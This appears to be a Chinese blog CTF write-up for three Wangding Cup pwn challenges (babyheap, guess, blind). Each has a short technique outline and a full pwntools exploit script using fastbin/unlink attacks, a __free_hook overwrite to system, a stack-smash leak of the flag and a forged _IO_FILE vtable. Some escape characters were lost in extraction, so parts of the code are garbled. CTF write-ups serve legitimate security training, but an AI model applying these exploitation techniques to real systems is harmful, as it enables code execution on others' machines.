zoukankan      html  css  js  c++  java
  • 网鼎杯 pwn 记录

    题目位置

    https://gitee.com/hac425/blog_data/tree/master/wdb
    

    babyheap

    • 通过分配和释放构建 2fastbin
    • 利用 show 功能, leak heap 的基地址
    • 然后可以在 heap 伪造 fastbin , 造成 overlap chunk
    • 修改 chunk size ,同时伪造 free chunk
    • unlink 攻击 , 可以控制 ptr_table
    • 然后通过 修改 edit_count 实现多次写
    • __free_hook 设置 system.
    # !/usr/local/bin/python
    # -*- coding:utf-8 -*-
    from pwn import *
    from time import sleep
    
    # context.log_level = "debug"
    
    elf = ELF("./babyheap")
    elf.got['puts'] = 0x0601FA0
    
    p = elf.process()
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
    
    ptr_table = 0x00602060
    
    
    def alloc(idx, content):
        p.sendlineafter("Choice:", "1")
        p.sendlineafter("Index:", str(idx))
        p.sendafter("Content:", content)
        sleep(0.1)
    
    
    def edit(idx, content):
        p.sendlineafter("Choice:", "2")
        p.sendlineafter("Index:", str(idx))
        p.sendafter("Content:", content)
        sleep(0.1)
    
    
    def show(idx):
        p.sendlineafter("Choice:", "3")
        p.sendlineafter("Index:", str(idx))
        sleep(0.1)
    
    
    def free(idx):
        p.sendlineafter("Choice:", "4")
        p.sendlineafter("Index:", str(idx))
        sleep(0.1)
    
    
    
    
    info("wait to attach: gdb --pid={}".format(p.proc.pid))
    
    payload = "x00" * 0x18
    payload += p64(0x31)
    
    alloc(0, "shx00
    ")
    alloc(1, payload)    # 用于伪造 fastbin
    alloc(2, p64(0x21) * 4)
    alloc(3, 'x21' * 0x20)
    
    free(2)
    free(1)
    
    info("获取 fastbin 链表")
    
    show(1)
    leak = p.recvuntil("
    ")[:-1]
    leak = u64(leak + "x00" * (8 - len(leak)))
    heap_base = leak - 0x60
    info("heap_base: " + hex(heap_base))
    
    edit(1, p64(heap_base + 0x50) + "
    ")
    info("修改fastbin 指针, 伪造 bin")
    
    
    payload = p64(0) + p64(0x21)
    payload += p64(ptr_table - 0x18 + 0x8)
    payload += p64(ptr_table - 0x10 + 0x8)
    
    alloc(4, "333
    ")
    alloc(5, p64(0x20) + p64(0x90) + "
    ")
    alloc(6, "shx00" + "
    ")
    alloc(7, "666" + "
    ")
    
    free(4)
    alloc(8, payload)
    info("通过 free + new 实现 edit , 伪造 free chunk 用于 unlinnk")
    
    free(2)
    
    payload = "x00" * 0x10
    payload += p64(0x06020B0)
    payload += p64(ptr_table)
    edit(1, payload)
    edit(0, p64(0) + "
    ")
    info("修改 ptr_table , 设置 edit 计数为 0")
    
    
    payload = p64(0x06020B0)
    payload += p64(ptr_table)
    payload += p64(elf.got['puts'])
    payload += p64(ptr_table)
    edit(1, payload)
    edit(0, p64(0) + "
    ")
    
    show(2)
    leak = p.recvuntil("
    ")[:-1]
    leak = u64(leak + "x00" * (8 - len(leak)))
    libc.address = leak - libc.symbols['puts']
    info("libc.address: " + hex(libc.address))
    
    payload = p64(0x06020B0)
    payload += p64(ptr_table)
    payload += p64(elf.got['puts'])
    payload += p64(libc.symbols['__free_hook'])
    edit(1, payload)
    edit(0, p64(0) + "
    ")
    
    edit(3, p64(libc.symbols['system']) + "
    ")
    
    free(6)
    
    p.interactive()
    

    guess

    栈底 会保存一个指针,在检测栈溢出时会打印, 于是通过覆盖指针 来 leak flag

    #!/usr/local/bin/python
    # -*- coding:utf-8 -*-
    
    from pwn import *
    
    # context.log_level = "debug"
    elf_path = "/home/lsl/network_fuzz/netconf/GUESS"
    libc_path = "./libc6_2.19-0ubuntu6.14_amd64.so"
    
    elf = ELF(elf_path)
    libc = ELF(libc_path)
    
    
    def get_offset():
        for i in range(0x80, 0x180):
            p = elf.process()
            p.recvuntil("flag
    ")
    
            # 0x0400C90 You must have great six sense!!!! :-o
            # 在 栈的底部有指针,当检测到栈溢出时会打印指针内容, 遍历设置看哪里可以覆盖到指针。
            # 如果覆盖到 指针, 就会打印 0x128 *** stack smashing detected ***: You must have great six sense!!!! :-o  terminated
            p.sendline("1" * i + p64(0x0400C90))
            p.recvline()
            x = p.recvline()
            p.close()
    
            # 找到偏移退出
            if "six" in x:
                print hex(i), x
                exit(0)
    
    
    
    def leak_data(p, addr):
        p.recvuntil("flag
    ")
        p.sendline("1" * 0x128 + p64(addr))
        p.recvuntil("***: ")
    
    def leak_address(p, address):
        leak_data(p, address)
        leak = u64(p.recv(6) + "x00" * 2)
        return leak
    
    
    
    p = elf.process()
    
    # 先通过 puts 泄漏 libc
    libc.address = leak_address(p, elf.got["puts"]) - libc.symbols['puts']
    info("libc: " + hex(libc.address))
    
    
    # 找到 environ 的地址,然后通过泄漏,拿到 environ 的值,这是一个 栈的地址
    environ_address = libc.symbols['environ']
    environ = leak_address(p, environ_address)
    
    info("get stack addr")
    
    
    # 根据 flag 在栈中的地址和 environ 的偏移,拿到 flag
    flag_address = environ - 0x168
    leak_data(p, flag_address)
    print p.recvline()
    p.close()
    
    
    get_offset()
    
    
    

    blind

    stdin, stdout, stderr 的地址会放到 bss 段, 其中的 0x7f 可以作为 fastbinsize 使用。

    • fastbin attack 分配到 bss
    • 修改 ptr 表,任意地址写
    • bss 段后面有一块很大的空间伪造 _IO_FILE_plus, 修改 vtableget_system 的函数 .
    • 修改 stdout 到 伪造的 _IO_FILE_plus
    #!/usr/local/bin/python
    # -*- coding:utf-8 -*-
    from pwn import *
    import struct
    
    context.log_level = "debug"
    
    elf = ELF("./blind")
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
    # 大小为 0x70 的 fake chunk
    fake_chunk = 0x60203d
    ptr_table = 0x602060
    stdin_address = 0x602030
    stdout = 0x0602020
    
    fake_io_file = 0x602098 - 0x10
    vtable_address = fake_io_file + 224
    
    call_system = 0x0004008E3
    
    
    p = elf.process()
    
    _IO_USE_OLD_IO_FILE = False
    _BITS = 64
    
    
    def _u64(data):
        return struct.unpack("<Q", data)[0]
    
    
    def _u32(data):
        return struct.unpack("<I", data)[0]
    
    
    def _u16(data):
        return struct.unpack("<H", data)[0]
    
    
    def _u8(data):
        return ord(data)
    
    
    def _usz(data):
        if _BITS == 32:
            return _u32(data)
        elif _BITS == 64:
            return _u64(data)
        else:
            print("[-] Invalid _BITS")
            exit()
    
    
    def _ua(data):
        if _BITS == 32:
            return _u32(data)
        elif _BITS == 64:
            return _u64(data)
        else:
            print("[-] Invalid _BITS")
            exit()
    
    
    def _p64(data):
        return struct.pack("<Q", data)
    
    
    def _p32(data):
        return struct.pack("<I", data)
    
    
    def _p16(data):
        return struct.pack("<H", data)
    
    
    def _p8(data):
        return chr(data)
    
    
    def _psz(data):
        if _BITS == 32:
            return _p32(data)
        elif _BITS == 64:
            return _p64(data)
        else:
            print("[-] Invalid _BITS")
            exit()
    
    
    def _pa(data):
        if _BITS == 32:
            return struct.pack("<I", data)
        elif _BITS == 64:
            return struct.pack("<Q", data)
        else:
            print("[-] Invalid _BITS")
            exit()
    
    
    class _IO_FILE_plus:
        def __init__(self):
            self._flags = 0x00000000fbad2887  # High-order word is _IO_MAGIC; rest is flags.
            self._IO_read_ptr = 0x602500  # Current read pointer
            self._IO_read_end = 0x602500  # End of get area
            self._IO_read_base = 0x602500  # Start of putback+get area
            self._IO_write_base = 0x602600  # Start of put area
            self._IO_write_ptr = 0x602600  # Current put pointer
            self._IO_write_end = 0x602600  # End of put area
            self._IO_buf_base = 0x602600  # Start of reserve area
            self._IO_buf_end = 0x602601  # End of reserve area
    
            # The following fields are used to support backing up and undo.
            self._IO_save_base = 0  # Pointer to start of non-current get area
            self._IO_backup_base = 0  # Pointer to first valid character of backup area
            self._IO_save_end = 0  # Pointer to end of non-current get area
    
            self._markers = 0
            self._chain = 0
    
            self._fileno = 0
            self._flags2 = 0
            self._old_offset = 0  # This used to be _offset but it's too small
    
            # 1+column number of pbase(); 0 is unknown
            self._cur_column = 0
            self._vtable_offset = 0
            self._shortbuf = 0
    
            self._lock = 0x602700
    
            if not _IO_USE_OLD_IO_FILE:
                self._offset = 0
                self._codecvt = 0
                self._wide_data = 0
                self._freeres_list = 0
                self._freeres_buf = 0
                self.__pad5 = 0
                self._mode = 0
                self._unused2 = [0 for i in range(15 * 4 - 5 * _BITS / 8)]
            self.vtable = vtable_address
    
        def tostr(self):
            buf = _p64(self._flags & 0xffffffff) + 
                  _pa(self._IO_read_ptr) + 
                  _pa(self._IO_read_end) + 
                  _pa(self._IO_read_base) + 
                  _pa(self._IO_write_base) + 
                  _pa(self._IO_write_ptr) + 
                  _pa(self._IO_write_end) + 
                  _pa(self._IO_buf_base) + 
                  _pa(self._IO_buf_end) + 
                  _pa(self._IO_save_base) + 
                  _pa(self._IO_backup_base) + 
                  _pa(self._IO_save_end) + 
                  _pa(self._markers) + 
                  _pa(self._chain) + 
                  _p32(self._fileno) + 
                  _p32(self._flags2) + 
                  _p64(self._old_offset) + 
                  _p16(self._cur_column) + 
                  _p8(self._vtable_offset) + 
                  _p8(self._shortbuf)
            if _BITS == 64:
                buf += _p32(0)
            buf += _pa(self._lock)
            if not _IO_USE_OLD_IO_FILE:
                buf += 
                    _p64(self._offset) + 
                    _pa(self._codecvt) + 
                    _pa(self._wide_data) + 
                    _pa(self._freeres_list) + 
                    _pa(self._freeres_buf) + 
                    _psz(self.__pad5) + 
                    _p32(self._mode) + 
                    ''.join(map(lambda x: _p8(x), self._unused2)) + 
                    _pa(self.vtable)
            return buf
    
        def __str__(self):
            return self.tostr()
    
    def new(index, content):
        p.recvuntil("Choice:")
        p.sendline('1')
        p.recvuntil("Index:")
        p.sendline(str(index))
        p.recvuntil("Content:")
        p.sendline(content)
    
    
    def release(index):
        p.recvuntil("Choice:")
        p.sendline('3')
        p.recvuntil("Index:")
        p.sendline(str(index))
    
    
    def change(index, content):
        p.recvuntil("Choice:")
        p.sendline('2')
        p.recvuntil("Index:")
        p.sendline(str(index))
        p.recvuntil("Content:")
        p.send(content)
    
    
    s = _IO_FILE_plus().tostr()
    print len(s)
    
    info("gdb --pid={}".format(p.proc.pid))
    # pause()
    
    
    new(0, '111')
    new(1, '222')
    release(0)
    info("获得一个 0x70 的 fastbin")
    
    change(0, p64(fake_chunk) + "
    ")
    info("利用 bss 上的 stderr 伪造 fastbin")
    
    new(2, '222')
    new(3, '333')
    info("分配两个 fastbin , 此时 chunk 3 为  bss")
    
    payload = "x00" * 0x13
    payload += p64(stdout) # 0
    payload += p64(fake_io_file) # 1
    payload += p64(fake_io_file + 0x68) # 2
    payload += p64(fake_io_file + 0x68 * 2) # 3
    payload += p64(vtable_address) # 4
    change(3, payload + "
    ")
    
    
    change(1, s[0:0x68])
    change(2, s[0x68:0xd0])
    change(3, s[0xd0:] + "
    ")
    info("伪造 fake IO_FILE")
    
    change(4, p64(call_system) * 13)
    info("伪造 虚表")
    pause()
    
    # p.sendline("2")
    change(0, p64(fake_io_file) + '
    ')
    pause()
    
    
    p.interactive()
    
    
  • 相关阅读:
    Leetcode 238. Product of Array Except Self
    Leetcode 103. Binary Tree Zigzag Level Order Traversal
    Leetcode 290. Word Pattern
    Leetcode 205. Isomorphic Strings
    Leetcode 107. Binary Tree Level Order Traversal II
    Leetcode 102. Binary Tree Level Order Traversal
    三目运算符
    简单判断案例— 分支结构的应用
    用switch判断月份的练习
    java基本打印练习《我行我素购物系统》
  • 原文地址:https://www.cnblogs.com/hac425/p/9520375.html
Copyright © 2011-2022 走看看